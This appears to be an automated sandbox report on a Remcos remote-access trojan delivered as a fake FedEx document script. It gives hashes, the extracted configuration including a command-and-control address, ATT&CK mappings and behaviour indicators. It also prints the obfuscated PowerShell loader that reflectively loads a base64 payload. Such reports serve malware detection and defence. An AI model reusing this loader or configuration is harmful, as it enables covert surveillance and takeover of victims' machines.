remcos | e6281e5fa481b46cddcec262583b741e4414d29d08121a02c7e85e3a18403561

Analysis

max time kernel
298s
max time network
117s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/08/2026, 13:29

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General

Target
FedEx AWB_Doc.js
Size 23.4MB
Sample260810-qrlmmsvvex
SHA256 e6281e5fa481b46cddcec262583b741e4414d29d08121a02c7e85e3a18403561
MD5 11b08540ef4f1c06e84ad12567a81bef
SHA1 c22d050ebab90e98007b036284980a1dd468c2ac
SHA512 e41fbf88f4c3bd0e9d5bae3a6023fbf8730c938557afa21df952f0a18d6f9fb1df4552e3eb2d8534d57e092740cf9e7d161b82053a60c24be1f13313cbd59d23
SSDEEP 384:Uj1fH4WRzfU6bUsEBslcAhSgeLE+pvJggyGQ576RyUOEaLG7cgwgvlPcPfqkHkNh:Uj1Ph8yu
TLSH
T1E8375987051B6987C4872EA89D177FAA4CE07118B634F87EC793380B63B645F897399C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remote execution remcos persistence privilege_escalation rat

Malware Config

Extracted

Family

remcos

Version

7.2.6 Pro

Botnet

Remote

46.151.182.38:8080

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JRANTT
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4376	4652	powershell.exe	89

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4376	powershell.exe
4	4376	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4376	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FedEx AWB_Doc.js	wscript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4376 set thread context of 4664	4376	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4376	powershell.exe
4376	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4376	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 4664	4376	powershell.exe	92
PID 4376 wrote to memory of 4664	4376	powershell.exe	92
PID 4376 wrote to memory of 4664	4376	powershell.exe	92
PID 4376 wrote to memory of 4664	4376	powershell.exe	92
PID 4376 wrote to memory of 4664	4376	powershell.exe	92
PID 4376 wrote to memory of 4664	4376	powershell.exe	92
PID 4376 wrote to memory of 4664	4376	powershell.exe	92
PID 4376 wrote to memory of 4664	4376	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\FedEx AWB_Doc.js"
1⤵
- Creates a file in the Startup directory
- Modifies registry class
PID:3128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('AxpV1RlNq8WAzCgpRX0SZbifUaiTI2hFzQxrp8fces6ubyft7GEVJ/hT1aEYH2BfnqgjBkOPOGWt4gMMJ2M63kMNT6tWfG74tvy711EedZl0nSX63tmjumVCn6wipOuM','','oekGLRTRdQ2qroKLYOTl+Hmfd4KKDnFyQ4A/j/PjkQUR4o4HFYUThAorLhld4Mnh','Bb7n1T3jrlB4yUCu8JkHKRxsqMv7lQfyGKJCYRak9SU=','sQ4r9RwRml6ry2Fk1oxrRc623WRzo3mvqNIpi7wc1v0=','gwl7KQbHzcRAQexPsths1J3ojC0GP/0aN1VX+etG++s=','o7A832qUG6JPiSKSit/c7v6WDZfCJn7oPyIpdQ02hMQ=','','5yRi7Muhn8NvbuMWUUZcscCNJugRjzRYubQlfMu3dbw=','VQY3X+HZee2PCty/B2YKjXYVvWHPGRrwhY/x0fq6d/bggveiT/Ejo1pIm4yqxtJS','AuZalrvwu26yB/qtD5raIFmYDhyZPE6Odk/U6z0QIAM=','+Wpq7b5Iczdda7cOXQaP8bCwJk+Mh78EmkpL/Bu/0cc=','BlrAAylYb6Z1IqIS8FtfuRJr0M/nZpTD+enaH4sNAv0=','','Y9dfbILzi/I+rXRuam3t2ZARdZwfdKmtFJhFaKg1ozE=','YKBr7zzePMusLcByoCzawPIndTsWJtw3EMh7uOlwZQo=','','','','WD9cZZ+cT42HkDmA/suG/zTuP15ZMurtXiYnd8W675A=','dHFIuxC6DENdJIvVY+vrDcXnN3y+G9ljjPNb80ROGaE=')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\System32\appidtel.exe
  C:\Windows\System32\appidtel.exe
  2⤵
  PID:4664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4376-11-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-12-0x0000018408890000-0x000001840889A000-memory.dmp

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memory/4376-4-0x000001840ACF0000-0x000001840AD12000-memory.dmp

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memory/4376-5-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-6-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-7-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-1-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-8-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-0-0x00007FFE1B8FF000-0x00007FFE1B900000-memory.dmp

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memory/4376-9-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-10-0x0000018408800000-0x0000018408892000-memory.dmp

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memory/4376-13-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-14-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-18-0x00007FFE1B770000-0x00007FFE1C114000-memory.dmp

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memory/4376-17-0x00000184088D0000-0x00000184088FD000-memory.dmp

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memory/4664-15-0x0000000140000000-0x00000001400AB000-memory.dmp

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